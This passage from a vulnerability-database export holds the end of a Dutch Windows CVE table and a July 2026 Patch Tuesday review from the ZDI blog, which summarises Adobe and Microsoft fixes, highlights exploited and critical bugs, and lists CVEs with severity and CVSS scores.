rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:28.179121Z"}, {"uuid": "3213fc1e-4049-4f8a-bd43-0e321add4f7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel 